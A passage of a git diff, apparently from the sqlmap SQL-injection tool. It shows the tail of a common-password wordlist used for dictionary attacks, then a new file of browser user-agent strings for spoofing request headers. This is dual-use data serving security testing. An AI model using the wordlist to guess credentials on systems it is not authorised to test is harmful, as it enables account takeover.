+trustnoone +truth +tryagain +tsunami +tttttt +tuan +tucker +tucson +tudelft +tuesday +tula +tuna +tunafish +tundra +tunnussana +tuomas +tupac +tuppence +turbine +turbo +turbo2 +turkey +turner +turnip +turquoise +turtle +tutor +tuttle +tweety +tweety1 +tweetybird +twelve +twenty +twilight +twinkie +twinkle +twinkles +twins +twisted +twister +twitter +tybnoq +tycoon +tyler +tyler1 +typewriter +typhoon +tyrone +tyson +tyson1 +U38fa39 +uboot +ultima +ultimate +ultra +ultrasound +umbrella +umesh +umpire +unbreakable +undead +underdog +understand +undertaker +undertow +underwater +underworld +unforgiven +unhappy +unicorn +unicornio +unicorns +unique +united +unity +universal +universe +universidad +university +unix +unknown +unleashed +unlocked +unreal +untitled +untouchable +uploader +upsilon +uptown +upyours +uQA9Ebw445 +urchin +ursula +usa123 +user +user0 +user1 +user1234 +user2 +user3 +user4 +user5 +user6 +user7 +user8 +user888 +username +usmarine +usmc +Usuckballz1 +utility +utopia +uuuuuuuu +vacation +vaffanculo +vagabond +vagina +val +valami +valdemar +valencia +valentin +valentina +valentinchoque +valentine +valeria +valerian +valerie +valeverga +valhalla +validate +valtteri +vampire +vampire1 +vampires +vanderbilt +vanesa +vanessa +vanessa1 +vanhalen +vanilla +vanquish +variable +vasant +vasara +vaseline +vector +vedder +vedran +vegas +vegeta +vegetable +velo +velocity +vengeance +venkat +venom +ventura +venus +vera55 +veracruz +verbatim +vergessen +veritas +verizon +vermilion +verona +veronica +veronika +veronique +vertical +verygood +vette +vfhbyf +vfrcbv +vh5150 +viagra +vickie +victor +victoria +victoria1 +victory +video +vietnam +viewsoni +vijaya +viking +vikings +vikings1 +viktor +viktoria +viktorija +vincent +vineyard +vinicius +vinkovci +vinnie +violator +violence +violet +violetta +violette +violin +viper +vipergts +vipers +virgilio +virgin +virginia +virtual +virus +VIRUSER +visa +viscount +vishal +vision +vision2 +visitor +visitors +visor +visual +vittoria +vittorio +vivian +viviana +vivien +vivienne +vkontakte +vladimir +VOizGwrC +volcano +volcom +volimte +volkswag +volley +volleyba +volleyball +voltaire +volume +volunteer +volvo +voodoo +voyager +voyeur +VQsaBLPzLa +vsegda +vulcan +vvvv +vvvvvvvv +waffle +waiting +wakefield +walden +walker +wallace +wall.e +walrus +walter +wanderlust +wang +wangyut2 +wanker +wanted +warcraft +wareagle +warehouse +warez +wargames +warhamme +warhammer +warlock +warning +warranty +warren +warrior +warrior1 +warriors +warszawa +wasabi +washington +wasser +wassup +wasted +watanabe +watch +watchdog +watching +watchman +watchmen +water +water123 +waterfall +waterman +watermelon +waterpolo +waters +watson +wayne +weasel +weather +weaver +web +webcal01 +weblogic +webmaste +webmaster +webster +wedding +wedge +wednesday +weed420 +weenie +weezer +welcome +welcome1 +welcome123 +welder +wellington +wendi +wendy +wendy1 +weng +werder +werdna +werewolf +wert +wertwert +wertz123 +wesley +westcoast +western +westgate +westlife +weston +westside +westwind +wetpussy +wg +wh +whale1 +what +whatever +whatever1 +whatnot +whatsup +whatthe +whatwhat +whiplash +whiskey +whisky +whisper +whit +white +whiteboy +whiteman +whiteout +whiting +whitney +whittier +whocares +whoknows +wholesale +whynot +wichmann +wicked +wickedwitch +widzew +wiesenhof +wifey +wiktoria +wild +wildbill +wildcat +wildcats +wildfire +wildflower +wildlife +wildman +wildone +wildrose +will +william +william1 +williams +willie +willis +willow +Willow +wilson +wind +window +windows +windows1 +windowsxp +windsurf +windward +winger +wingnut +wings +winner +winner1 +winnie +Winnie +winnipeg +winona +winston +winter +winthrop +wisconsin +wisdom +wiseguy +wishbone +witchcraft +wizard +wizard1 +wizards +woaini +woaini1314 +wojtek +wolf +wolf1 +wolfen +wolfgang +wolfhound +wolfie +wolfpac +wolfpack +wolverin +wolverine +wolverines +wolves +woman +wombat +women +wonder +wonderful +wood +woodbury +woodchuck +woodie +woodland +woodlawn +woodruff +woodside +woodstoc +woodwind +woody +woofer +woowoo +word +wordpass +wordup +work +work123 +working +workout +world +wormhole +worship +worthy +wow12345 +wowwow +wraith +wrangler +wrench +wrestle +wrestler +wrestlin +wrestling +wrinkle1 +writer +writing +wsh +www +wwww +wwwwww +wwwwwww +wwwwwwww +xanadu +xanth +xavier +xbox360 +xceladmin +xcountry +x-files +xiang +xiao +ximena +ximenita +xing +xiong +XRGfmSx +xtr +xuan +xxx +xxx123 +xxxx +xxxxx +xxxxxx +xxxxxxx +xxxxxxxx +xxxxxxxxxx +xyz +xyzzy +y +YAgjecc826 +yahoo +yahoo123 +yamaha +yamahar1 +yamamoto +yang +yankee +yankees +yankees1 +yankees2 +yardbird +yasmin +yasuhiro +yaya +yeah +yellow +yellow1 +yellow12 +yes +yeshua +yessir +yesterday +yesyes +yfnfif +ying +yingyang +yolanda +yomama +yong +yorktown +yosemite +yoteamo +youbye123 +young +young1 +yourmom +yourmom1 +yourname +yourself +yoyo +yoyoma +yoyoyo +ysrmma +YtQ9bkR +ytrewq +yuan +yuantuo2012 +yukiyuki +yukon +yummy +yvonne +yxcvbnm +yyyy +yyyyyyyy +yzerman +z123456 +z1x2c3v4 +za123456 +zacefron +zachary +zachary1 +zadzad +zag12wsx +zagreb +zalgiris +zander +zang +zanzibar +zapato +zaphod +zaq12wsx +zaq1zaq1 +zaqxsw +zaragoza +zebra +zebras +zeng +zenith +zeppelin +zepplin +zerocool +zerozero +zeus +zhang +zhao +zheng +zhong +zhongguo +zhou +zhuang +zhuo +zidane +ziggy +zildjian +zimbabwe +zing +ziomek +zipper +zippo +zirtaeb +zk.: +zmodem +zolika +zoltan +zombie +zong +zoomer +zoosk +zuikis +zuzana +ZVjmHgC355 +zwerg +zxc +zxc123 +zxcasdqwe +zxccxz +zxcv +zxcv1234 +zxcvb +zxcvbn +zxcvbnm +Zxcvbnm +zxcvbnm1 +zxcvbnm123 +zxcxz +zxczxc +zxzxzx +zzzxxx +zzzzz +zzzzzz +zzzzzzzz +zzzzzzzzzz diff --git a/data/txt/user-agents.txt b/data/txt/user-agents.txt new file mode 100644 index 00000000000..31bca9529d3 --- /dev/null +++ b/data/txt/user-agents.txt @@ -0,0 +1,190 @@ +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.33 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.155 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/139 Version/11.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/139 Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.5 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.13 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.14 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.7 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.1.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3.1 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.6 Safari/605.1.15 Ddg/18.6 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.0 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Safari/605.1.15 +Mozilla/5.0 (Macintosh; Intel Mac OS X 15_4 ADSSO) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Unique/97.7.7239.70 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Edg/133.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Edg/134.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 Edg/135.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-1) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0 (Edition std-2) +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 YaBrowser/25.6.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.7151.104 ADG/11.1.4905 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.92 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.93 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.96 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.7204.97 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Avast/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 AVG/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0 Herring/90.1.1459.6 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Norton/139.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 OpenWave/96.4.8983.84 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.7258.5 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.7339.16 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4482.0 Safari/537.36 Edg/92.0.874.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.36 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0 +Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0 +Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 +Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (X11; CrOS x86_64 13904.97.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.167 Safari/537.36 +Mozilla/5.0 (X11; CrOS x86_64 14541.0.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 